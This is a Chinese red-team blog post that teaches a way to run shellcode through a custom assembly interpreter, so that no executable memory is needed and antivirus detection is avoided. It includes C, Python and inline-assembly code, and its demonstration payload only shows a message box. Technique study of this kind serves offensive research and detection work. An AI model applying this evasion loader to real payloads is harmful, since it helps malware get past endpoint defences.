无可执行权限加载 ShellCode

admin 2024年2月10日01:30:00评论13 views字数 3630阅读12分6秒阅读模式

简单来说就是可以直接加载可读内存中的加密 ShellCode,不需要解密,不需要申请新的内存,也不需要改可执行权限。应用不仅仅在上线,上线后的各种功能都可以通过 ShellCode 实现

1.查杀点

现状

在加载 ShellCode、使用 BOF 等时候,经常需要将机器码密文解密写入可写权限的内存,再改为可执行权限来运行

弊端

需要经常进行内存属性修改的敏感行为,并且机器码明文处于可执行权限的内存中,迟早会被查杀

2.规避查杀点

目标

不使用 RWX、不修改内存属性、不解密 ShellCode,就可以加载 ShellCode

解决方案

代码编写 -> 提取 ShellCode -> 机器码转汇编 -> 汇编转换自定义语言 -> 通过解释器运行

3.解释器实现

解释器和编译器的区别

编译器就类似常规的 ShellCode 加载方式,去运行机器码

解释器是去解析你自定义的语言来进行对应的操作

实现原理

一步一步讲

获取 ShellCode 汇编

ShellCode.c:

#include <windows.h>

// 设置入口点
#pragma comment(linker, "/entry:Shell")

/*
* 1.C/C++
* 常规: SDL检查(否)
* 代码生成: 运行库(多线程)、安全检查(禁用安全检查)
* 2.链接器
* 清单文件: 生成清单(否)
* 调试: 生成调试信息(否)
* 高级: 入口点(Shell)
*/

typedef int(WINAPI* pMessageBoxA)(HWND, LPCSTR, LPCSTR, UINT);

// 入口函数置顶
#pragma code_seg(".text")

void Shell(pMessageBoxA funcMessageBoxA) {
char a[] = { '' };
funcMessageBoxA(0, a, a, MB_ICONWARNING);
}

生成 ShellCode.exe 后提取 ShellCode (ctrl+shift+c),粘贴至 asm.txt

无可执行权限加载 ShellCode

机器码转汇编.py:

import binascii
from capstone import Cs, CS_ARCH_X86, CS_MODE_32

def subAsm(asmHex):
asmByte = binascii.unhexlify(asmHex)

cs = Cs(CS_ARCH_X86, CS_MODE_32)
asm = cs.disasm(asmByte, 0)

for instruction in asm:
print(instruction.mnemonic + ' ' + instruction.op_str)

if __name__ == '__main__':
with open('asm.txt', 'r') as file:
asmHex = file.read().replace(' ', '').replace('n', '')
subAsm(asmHex)

输出 (保存到 ShellCode.txt):

;--栈上移--
push ebp
mov ebp, esp
;--Windows API 参数入栈--
push ecx
push 0x30
lea eax, [ebp - 1]
mov byte ptr [ebp - 1], 0
push eax
push eax
push 0
;--调用 Windows API--
call dword ptr [ebp + 8]
;--栈下移--
mov esp, ebp
pop ebp
ret

分析 ShellCode 调用过程

ShellCodeLoader.c:

#include <windows.h>

__declspec(naked) void ShellCode(...) {
__asm {
push ebp
mov ebp, esp
push ecx
push 0x30
lea eax, [ebp - 1]
mov byte ptr[ebp - 1], 0
push eax
push eax
push 0
call dword ptr[ebp + 8]
mov esp, ebp
pop ebp
ret
}
}

int main() {
ShellCode((PDWORD)MessageBoxA); // 下断点
}

调试转到反汇编

mov eax, dword ptr [MessageBoxA]
push eax
call Shell

发现在进入 ShellCode 内联汇编前将 MessageBox 地址和 call 的下一行地址入栈了

进入内联汇编后,除了平栈就是继续构造 Windows API 的栈区域

实现调用过程

只要能将 Windows API 的栈区域正确构建出来,就可以正确调用 Windows API

实现一个虚拟环境,包含虚拟寄存器、虚拟栈

// 虚拟寄存器
// 当前正在讲解样例编写,成品可以使用 PDWORD vtEAX = (PDWORD)malloc(sizeof DWORD);
DWORD vtEAX;
DWORD vtEBX;
DWORD vtECX;
DWORD vtEDX;
DWORD vtESP;
DWORD vtEBP;
DWORD vtESI;
DWORD vtEDI;
DWORD vtEIP;

// 虚拟栈
PVOID pVtStack = VirtualAlloc(NULL, 0x10000, MEM_COMMIT, PAGE_READWRITE);

将进入内联汇编前的真实环境状态复制到虚拟环境

// 解释器
__declspec(naked) void Interpreter(...) {
// 复制寄存器状态
DWORD currentESP;
__asm {
mov vtEAX, eax
mov vtEBX, ebx
mov vtECX, ecx
mov vtEDX, edx
mov currentESP, esp
mov vtESI, esi
mov vtEDI, edi
}

// 复制栈状态 (包含 MessageBox 地址和 call 的下一行地址)
vtEBP = vtESP = (DWORD)pVtStack + 0x9000;
for (int i = currentESP + 4; i >= currentESP; i -= 4) {
vtESP -= 4;
*(PDWORD)vtESP = *(PDWORD)i;
}

// 解析内联汇编的指令文本
__asm {
call Parse
ret
}
}

int main() {
// 通过解释器运行 ShellCode
Interpreter((PDWORD)MessageBoxA);
}

解析内联汇编的指令文本,在虚拟环境中构建出正确的 Windows API 栈区域

// 解析内联汇编的指令文本
void Parse() {
// 从文件逐行读取指令到数组
vector<string> asmCodes = ReadShellCode("ShellCode.txt");

// 遍历指令进行解析
for (vtEIP = 0; vtEIP < asmCodes.size(); vtEIP++) {
// 提取操作符和操作数
string mnemonic = GetMnemonic(asmCodes[vtEIP]);
string operands = GetOperands(asmCodes[vtEIP]);

// 模拟运行指令 (在虚拟环境中实现对应功能)
if (mnemonic == "push") {
Push(GetDwordValue(operands));
}
else if (mnemonic == "mov") {
Mov(operands);
}
else if (mnemonic == "lea") {
Lea();
}
else if (mnemonic == "call") {
Call();
}
else if (mnemonic == "pop") {
Pop();
}
else if (mnemonic == "ret") {
Ret();
}
}
}

例:

void Push(DWORD value) {
vtESP -= 4;
*(PDWORD)vtESP = value;
}

调用 call 前,已经将 Windows API 的栈区域正确构建出来了

之后想成功 call Windows API 只需要将真实环境中的栈移到虚拟环境中,调用完再移回来就可以了

void Call() {
// 记录原栈位置
__asm {
mov realESP, esp
mov realEBP, ebp
}

// 进入虚拟栈
__asm {
mov esp, vtESP
mov ebp, vtEBP
}

// 调用 Windows API
__asm {
call dword ptr [ebp + 8]
}

// 回到原栈位置
__asm {
mov esp, realESP
mov ebp, realEBP
}
}

步骤总结

ShellCode 汇编指令文本 -> ShellCode.txt

解释器:构造初始虚拟环境 -> 读取汇编指令文本 -> 遍历指令 -> 解析指令调用对应指令的处理器 -> 处理器继续构造栈区域 -> 栈进入虚拟环境调用 Windows API -> 处理器继续收尾工作

讲解:https://www.bilibili.com/video/BV1Z7421P7N6/?spm_id_from=333.999.0.0&vd_source=585d9231ec9a51e9a4a23da74480b609

代码:https://github.com/HexNy0a/ShellCode-Interpreter

原文始发于微信公众号(红队蓝军):无可执行权限加载 ShellCode

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月10日01:30:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   无可执行权限加载 ShellCodehttps://cn-sec.com/archives/2484940.html

发表评论

匿名网友 填写信息